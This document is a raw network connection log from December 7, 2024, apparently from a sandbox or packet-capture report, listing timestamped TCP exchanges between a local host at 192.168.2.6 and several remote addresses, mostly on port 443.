Dec 7, 2024 00:15:22.601771116 CET	443	49743	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:22.601835966 CET	49743	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:22.601960897 CET	49743	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:22.601963997 CET	443	49743	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:22.608128071 CET	49742	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:22.608138084 CET	443	49742	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:24.226455927 CET	443	49732	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:24.228293896 CET	49732	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:24.228322029 CET	443	49732	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:24.228789091 CET	49732	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:24.228795052 CET	443	49732	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:24.272228956 CET	443	49737	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:24.272444963 CET	49737	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:24.272469997 CET	443	49737	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:24.273471117 CET	443	49737	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:24.273534060 CET	49737	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:24.273721933 CET	443	49735	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:24.274007082 CET	443	49736	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:24.274036884 CET	49735	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:24.274045944 CET	443	49735	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:24.274044991 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:24.274209023 CET	49736	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:24.274220943 CET	443	49736	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:24.274329901 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:24.274338961 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:24.274496078 CET	49737	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:24.274580956 CET	443	49737	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:24.274763107 CET	49737	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:24.274770021 CET	443	49737	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:24.275105953 CET	443	49736	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:24.275161028 CET	49736	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:24.275216103 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:24.275270939 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:24.275336981 CET	443	49735	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:24.275409937 CET	49735	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:24.275449991 CET	49736	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:24.275558949 CET	443	49736	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:24.276038885 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:24.276092052 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:24.276374102 CET	49735	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:24.276442051 CET	443	49735	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:24.276801109 CET	49736	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:24.276813984 CET	443	49736	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:24.276999950 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:24.277004957 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:24.277059078 CET	49735	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:24.277064085 CET	443	49735	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:24.316713095 CET	443	49740	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:24.317442894 CET	49740	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:24.317460060 CET	443	49740	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:24.317995071 CET	49740	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:24.318001032 CET	443	49740	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:24.322758913 CET	443	49741	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:24.322895050 CET	49737	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:24.322902918 CET	49736	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:24.322916031 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:24.322933912 CET	49735	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:24.323169947 CET	49741	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:24.323194981 CET	443	49741	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:24.323553085 CET	49741	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:24.323559046 CET	443	49741	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:24.349720955 CET	443	49742	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:24.352283001 CET	49742	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:24.352299929 CET	443	49742	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:24.352744102 CET	49742	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:24.352749109 CET	443	49742	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:24.569746971 CET	49736	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:24.569819927 CET	443	49736	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:24.569880009 CET	49736	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:24.597789049 CET	49746	443	192.168.2.6	4.175.87.197
Dec 7, 2024 00:15:24.597852945 CET	443	49746	4.175.87.197	192.168.2.6
Dec 7, 2024 00:15:24.597944975 CET	49746	443	192.168.2.6	4.175.87.197
Dec 7, 2024 00:15:24.599849939 CET	49746	443	192.168.2.6	4.175.87.197
Dec 7, 2024 00:15:24.599863052 CET	443	49746	4.175.87.197	192.168.2.6
Dec 7, 2024 00:15:24.660418034 CET	443	49732	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:24.660475016 CET	443	49732	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:24.660856962 CET	49732	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:24.661005020 CET	49732	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:24.661019087 CET	443	49732	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:24.661036015 CET	49732	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:24.661041021 CET	443	49732	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:24.664988041 CET	49747	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:24.665020943 CET	443	49747	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:24.665107965 CET	49747	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:24.665244102 CET	49747	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:24.665256977 CET	443	49747	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:24.750916004 CET	443	49740	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:24.750988960 CET	443	49740	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:24.751060963 CET	49740	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:24.751252890 CET	49740	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:24.751271963 CET	443	49740	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:24.751285076 CET	49740	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:24.751291990 CET	443	49740	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:24.754827976 CET	49748	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:24.754868984 CET	443	49748	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:24.755232096 CET	49748	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:24.755398035 CET	49748	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:24.755415916 CET	443	49748	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:24.757514000 CET	443	49741	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:24.757577896 CET	443	49741	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:24.757746935 CET	49741	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:24.757780075 CET	49741	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:24.757800102 CET	443	49741	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:24.757805109 CET	49741	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:24.757810116 CET	443	49741	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:24.760323048 CET	49749	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:24.760348082 CET	443	49749	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:24.760461092 CET	49749	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:24.760611057 CET	49749	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:24.760622025 CET	443	49749	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:24.784028053 CET	443	49742	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:24.784086943 CET	443	49742	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:24.784233093 CET	49742	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:24.784252882 CET	49742	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:24.784259081 CET	443	49742	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:24.784275055 CET	49742	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:24.784277916 CET	443	49742	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:24.786525011 CET	49750	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:24.786545992 CET	443	49750	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:24.786650896 CET	49750	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:24.786783934 CET	49750	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:24.786798000 CET	443	49750	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:24.834460974 CET	80	49715	185.215.113.206	192.168.2.6
Dec 7, 2024 00:15:24.834518909 CET	49715	80	192.168.2.6	185.215.113.206
Dec 7, 2024 00:15:25.123589039 CET	443	49737	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.123723984 CET	443	49737	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.123780012 CET	49737	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:25.126672983 CET	49737	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:25.126693010 CET	443	49737	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.131035089 CET	443	49735	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.131159067 CET	443	49735	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.131234884 CET	49735	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:25.135332108 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.135380030 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.135663986 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.135691881 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.135700941 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:25.135720968 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.135756969 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:25.140372992 CET	49735	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:25.140391111 CET	443	49735	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.148793936 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.148885012 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.148916960 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:25.148932934 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.148991108 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:25.152576923 CET	443	49743	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:25.155174971 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.156289101 CET	49743	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:25.156308889 CET	443	49743	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:25.157058954 CET	49743	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:25.157074928 CET	443	49743	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:25.168066978 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.168124914 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:25.168138027 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.218961000 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:25.255003929 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.308258057 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:25.308269978 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.327142000 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.327233076 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:25.327241898 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.337492943 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.337595940 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:25.337608099 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.347471952 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.349813938 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:25.349821091 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.361156940 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.361748934 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:25.361754894 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.374865055 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.374918938 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:25.374924898 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.387751102 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.389761925 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:25.389770031 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.401365042 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.401806116 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:25.401809931 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.413975000 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.417773962 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:25.417779922 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.426418066 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.429744959 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:25.429749966 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.436105967 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.437588930 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:25.437597036 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.448585987 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.448674917 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:25.448682070 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.461083889 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.461782932 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:25.461791039 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.511156082 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:25.518990040 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.521518946 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.521770954 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:25.521778107 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.529906988 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.530013084 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.530081987 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:25.530087948 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.533747911 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:25.541681051 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.553555965 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.553721905 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.553759098 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:25.553766966 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.557740927 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:25.565726995 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.577080011 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.577328920 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:25.577337027 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.587479115 CET	443	49743	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:25.587536097 CET	443	49743	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:25.587605000 CET	49743	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:25.587918997 CET	49743	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:25.587919950 CET	49743	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:25.587938070 CET	443	49743	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:25.587946892 CET	443	49743	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:25.588697910 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.588778973 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:25.588785887 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.600292921 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.600388050 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:25.600394964 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.606203079 CET	49752	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:25.606230974 CET	443	49752	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:25.606316090 CET	49752	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:25.606529951 CET	49752	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:25.606543064 CET	443	49752	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:25.611357927 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.611404896 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:25.611412048 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.622632980 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.622700930 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.622741938 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:25.622751951 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.622824907 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:25.633435965 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.643589973 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.643670082 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:25.643675089 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.653914928 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.653965950 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:25.653970957 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.663475990 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.663577080 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.663623095 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:25.663634062 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.663830042 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:25.672653913 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.681554079 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.681629896 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:25.681636095 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.690344095 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.690423012 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:25.690427065 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.699014902 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.699065924 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:25.699070930 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.700570107 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.700617075 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:25.700622082 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.709271908 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.709464073 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:25.709469080 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.715095043 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.715178967 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:25.715183973 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.721613884 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.721679926 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:25.721684933 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.726167917 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.726214886 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:25.726219893 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.731612921 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.731659889 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:25.731664896 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.737075090 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.737158060 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:25.737163067 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.742538929 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.742616892 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:25.742621899 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.747909069 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.747962952 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:25.747968912 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.753324032 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.753387928 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:25.753392935 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.758975983 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.759077072 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:25.759083033 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.764210939 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.764269114 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:25.764275074 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.768275976 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.768337011 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:25.768342018 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.773787975 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:25.773859024 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:25.774002075 CET	49738	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:25.774009943 CET	443	49738	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:26.362850904 CET	443	49746	4.175.87.197	192.168.2.6
Dec 7, 2024 00:15:26.363013029 CET	49746	443	192.168.2.6	4.175.87.197
Dec 7, 2024 00:15:26.364995956 CET	49746	443	192.168.2.6	4.175.87.197
Dec 7, 2024 00:15:26.365005016 CET	443	49746	4.175.87.197	192.168.2.6
Dec 7, 2024 00:15:26.365233898 CET	443	49746	4.175.87.197	192.168.2.6
Dec 7, 2024 00:15:26.381304979 CET	443	49747	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:26.381767035 CET	49747	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:26.381783962 CET	443	49747	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:26.382273912 CET	49747	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:26.382278919 CET	443	49747	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:26.417148113 CET	49746	443	192.168.2.6	4.175.87.197
Dec 7, 2024 00:15:26.426383972 CET	49746	443	192.168.2.6	4.175.87.197
Dec 7, 2024 00:15:26.467329025 CET	443	49746	4.175.87.197	192.168.2.6
Dec 7, 2024 00:15:26.472549915 CET	443	49748	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:26.473119974 CET	49748	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:26.473134041 CET	443	49748	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:26.473622084 CET	49748	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:26.473627090 CET	443	49748	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:26.475284100 CET	443	49749	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:26.475573063 CET	49749	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:26.475583076 CET	443	49749	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:26.475979090 CET	49749	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:26.475984097 CET	443	49749	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:26.501211882 CET	443	49750	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:26.501785040 CET	49750	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:26.501796007 CET	443	49750	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:26.502224922 CET	49750	443	192.168.2.6	13.107.246.63
Dec 7, 2024 00:15:26.502229929 CET	443	49750	13.107.246.63	192.168.2.6
Dec 7, 2024 00:15:26.731347084 CET	49758	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:26.731393099 CET	443	49758	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:26.731477022 CET	49758	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:26.731705904 CET	49758	443	192.168.2.6	142.250.181.100
Dec 7, 2024 00:15:26.731720924 CET	443	49758	142.250.181.100	192.168.2.6
Dec 7, 2024 00:15:26.815984011 CET	443	49747	13.107.246.63	192.168.2.6
